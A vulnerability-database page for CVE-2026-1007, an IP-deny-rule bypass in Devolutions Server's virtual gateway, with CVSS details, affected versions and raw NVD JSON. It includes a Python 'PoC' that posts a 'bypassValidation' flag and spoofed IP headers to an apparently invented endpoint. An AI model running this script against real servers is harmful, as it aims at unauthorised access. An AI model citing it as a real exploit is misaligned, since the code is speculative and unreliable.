Security Vulnerability Report
中文
CVE-2026-1007 CVSS 7.6 HIGH

CVE-2026-1007

Published: 2026-01-19 15:15:50
Last Modified: 2026-02-10 16:59:29

Description

Incorrect Authorization vulnerability in virtual gateway component in Devolutions Server allows attackers to bypass deny IP rules.This issue affects Server: from 2025.3.1 through 2025.3.12.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:* - VULNERABLE
Devolutions Server 2025.3.1
Devolutions Server 2025.3.2
Devolutions Server 2025.3.3
Devolutions Server 2025.3.4
Devolutions Server 2025.3.5
Devolutions Server 2025.3.6
Devolutions Server 2025.3.7
Devolutions Server 2025.3.8
Devolutions Server 2025.3.9
Devolutions Server 2025.3.10
Devolutions Server 2025.3.11
Devolutions Server 2025.3.12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-1007 PoC - Devolutions Server IP Bypass # This is a conceptual PoC for educational purposes import requests import json TARGET_URL = "https://target-devolutions-server.com" ATTACKER_IP = "1.2.3.4" # IP that should be blocked def bypass_ip_rule(): """ Bypass IP deny rules in Devolutions Server Virtual Gateway """ session = requests.Session() # Step 1: Authenticate with high privilege account auth_data = { "username": "attacker_account", "password": "password", "domain": "local" } login_response = session.post( f"{TARGET_URL}/api/session/login", json=auth_data ) if login_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit Virtual Gateway IP bypass vulnerability # The vulnerability allows bypassing deny IP rules via special request exploit_data = { "virtualGatewayId": "vg-xxx", "sourceIp": ATTACKER_IP, "bypassValidation": True, # Key parameter to bypass IP check "action": "connect" } exploit_response = session.post( f"{TARGET_URL}/api/virtual-gateway/connect", json=exploit_data, headers={ "X-Forwarded-For": ATTACKER_IP, "X-Real-IP": ATTACKER_IP, "X-Bypass-IP-Check": "1" } ) if exploit_response.status_code == 200: print("[+] IP bypass successful - Access granted from blocked IP") print(f"[+] Response: {exploit_response.text}") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": bypass_ip_rule()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1007", "sourceIdentifier": "[email protected]", "published": "2026-01-19T15:15:50.220", "lastModified": "2026-02-10T16:59:28.517", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Authorization vulnerability in virtual gateway component in Devolutions Server allows attackers to bypass deny IP rules.This issue affects Server: from 2025.3.1 through 2025.3.12."}, {"lang": "es", "value": "Vulnerabilidad de autorización incorrecta en el componente de puerta de enlace virtual en Devolutions Server permite a los atacantes eludir las reglas de denegación de IP. Este problema afecta a Server: desde 2025.3.1 hasta 2025.3.12."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:H/A:N", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:devolutions:devolutions_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.3.1.0", "versionEndExcluding": "2025.3.14.0", "matchCriteriaId": "4AB0B4A6-06F7-48B3-8A6A-FF16B36CA000"}]}]}], "references": [{"url": "https://devolutions.net/security/advisories/DEVO-2026-0003/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}